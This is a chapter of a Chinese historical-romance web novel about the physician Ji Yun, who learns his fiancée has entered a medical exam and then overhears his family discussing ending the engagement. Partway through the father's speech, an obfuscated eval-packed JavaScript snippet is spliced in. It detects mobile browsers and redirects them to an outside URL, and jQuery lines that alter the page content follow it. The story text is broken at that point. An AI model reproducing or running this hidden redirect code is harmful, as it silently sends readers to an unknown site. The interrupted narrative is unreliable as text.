夜色渐沉,已近亥时三刻,微凉的夜风吹来,驱散来人几分眉宇间的倦色。
纪昀自小巷穿出,踏进纪府大门。
今日几处出诊,尤其两个重症耗去大半心力,案头堆积的公务只得暂放。
小厮捧着厚厚一摞册子跟在他身后,跟到书房,轻手轻脚地放在书房紫檀书案上,低声禀道:“公子,这是今儿从医官院取回的待阅文书。主要是七日后医籍考核的报名名册和初审案卷。”
说完,躬身退了出去。
书房里静下来,只听得案前灯芯偶尔哔剥轻响。
纪昀脱下外袍,在书案后坐下,顺手拿起那份医籍考核的报名名册翻看起来。
他一页页翻过,目光平静地扫过册上的一个个名字,这本是例行公事看一眼,基本不会有什么问题。
册子眼看要翻完,他欲放下,似是瞧见了什么,眸色骤然一凝。
指尖顿住,又将册子翻回了前一页。
只见那纸页之上,墨迹清晰地写着:
孟氏玉桐,年十七。
孟玉桐?
她怎么会报名参加医籍考核?
他凝着眸,细细看着册子上的信息。
目光落在那名字旁贴着的小像上。
画工虽简,却勾勒出一张大气明艳的脸庞。她并未如寻常闺秀般低眉浅笑,而是静静地直视前方,那双眸子仿佛透过纸面望了过来,透着一股子倔气。
的确是她没错。
几乎是瞬间,昨夜和乐楼前灯火阑珊处,她清晰的话语,直直在他脑中回响起来:
“我出身商户,性子倔强,未来或许会做许多旁人觉着惊世骇俗之事,亦非贤良新妇之选。”
参加医籍考核,她要行医?
的确有几分惊世骇俗。
纪昀沉默地凝视片刻,缓缓合上了名册。
灯火煌煌,在他沉静的眸底投下明明灭灭的光影。
喉间,竟逸出一声极轻的笑,带着一丝连他自己都未察觉的兴味。
他这位未婚妻,倒是有点意思。
“公子。”青书的声音在门外响起,得了应允后推门进来,手里捧着一个小布包,“您要的荔枝壳,小的寻来了。只是眼下时节不对,新鲜的荔枝难寻,干荔枝壳也少,跑了七八家铺子,拢共就收了这些。”
他小心地将布包放在案几上,里面是约莫半个巴掌大的一小堆干瘪发褐的壳。
纪昀扫了一眼,微微颔首:“嗯,足够了。”
他声音平淡,“明日将我屋里的熏香都撤了。新的香我晚些时候配好给你。”
青书闻言,动作明显一顿,脸上露出几分讶异和迟疑:“公子,原先的香不是瑾安公主特意让人配的么?说是南疆的方子,最能安神助眠,怎么忽然不用了?”
他小心翼翼地觑着纪昀的脸色。
纪昀并未回答,只是目光淡淡地投向窗外茫茫夜色。
他的失眠之症已有七年了,这七年间,他试过许多药方,都没有作用。他早知是心魔作祟,药石罔效,渐渐也就倦了,不再徒劳挣扎。
瑾安公主的香,是一年前送来的。
那香燃起来,有股浓烈奇诡的异香,琥珀色的烟气带着辛烈刺鼻的味道,初时确能得来几日浅薄的安眠。
只是每每醒来之后,心中酸痛难言,一闭上眼,脑中总浮现起那些记忆……
这效力更像饮鸩止渴,不过月余便需加倍燃点,到如今,纵使整夜氤氲满室,也再难压下他翻腾的心绪。
他将视线落在桌上的荔枝壳上。
这道香却很特别,清甜中带着微苦与酸涩的气,舒缓沉静,带来一点难以言喻的安心。
青书见公子沉默,也不敢再问,垂手立在一旁。
恰在此时,云舟匆匆进来,躬身道:“公子,老太爷回府了,这会儿正在松涛院呢。”
纪昀闻言起身,理了理衣袍,面上依旧是那副沉静清冷的模样。
“知道了。”他抬步便往祖父所居的松涛院走去。
松涛院是纪府最为清幽肃穆的所在,院如其名,遍植苍松,即便在夏日也透着一股沉沉的凉意。
纪昀行至正屋门外,欲抬手叩门,屋内清晰的交谈声却透过门扉传了出来。
“……既已如此,我们纪家也不必强求。不如趁此机会,看看别家适龄的女儿。与淮之年纪相仿,家世又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196397|180116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相当的,城中应当不少。”
这是父亲纪宏业的声音,语气里带着几分谨慎和掂量。
纪昀眉头微不可闻一皱,搭在门上的手指在半空停了一刹。
“嗯。”
屋内,祖父低低应了一声,算是同意。
纪昀不再犹豫,抬手叩响门环,随即推门进去。
屋内灯火通明。
祖父纪怀瑾端坐在主位上。
面容清癯,腰背挺得笔直,鬓角虽染了些霜色,那双眼睛却清亮有神。
一身暗蓝色锦袍一丝不苟穿在身上,齐整熨贴,不见半点褶皱。
父亲、母亲,还有弟弟,都在下首陪着。
纪昀神色恭谨,一丝不苟地向在座长辈行礼问安:“祖父安好。父亲、母亲安好。”
纪怀瑾的目光落在他身上,带着些审视的意味,片刻后才开口,声音沉缓:“最近看了什么书?医术可有进境?我走前提过那个‘气逆呕哕,夜不能寐’的症候,找到合用的方子没有?”
他只是坐在那里,那股无形的威压就沉甸甸地落下来。
纪昀垂着眼,像往常一样平静回答:“回祖父,孙儿近日在研习《外台秘要》。您说的症候,孙儿查阅了数本古籍,又结合几位前朝医案,拟了一个方子。以旋覆代赭汤打底,加上半夏、陈皮化痰散结,添茯苓健脾渗湿,再加少许生姜温胃降逆。”
祖父每次云游归来,头一件事就是考校他的医术。
若发现他有怠慢松懈之处,必有急言斥责。
这便是祖父。在他眼中,纪昀首先是纪家医术的继承人,其次才是他的孙儿。
他关心的永远是纪昀的医术精进了多少,至于孙儿平日如何、心里想些什么,极少过问。纪昀早已习惯。
他条理清晰地一一道来,语气沉稳,不见丝毫少年人的浮躁。
纪怀瑾听着,脸上没什么变化,只在纪昀说到关键处时,几不可察地点了下头。
纪昀答完,屋内一时静默。
他抬起眼,转向父亲纪宏业:“父亲方才所言,另选别家女儿,不知是何意?原来与孟家的婚事,不是早已定下?既已定下,何必麻烦另选。”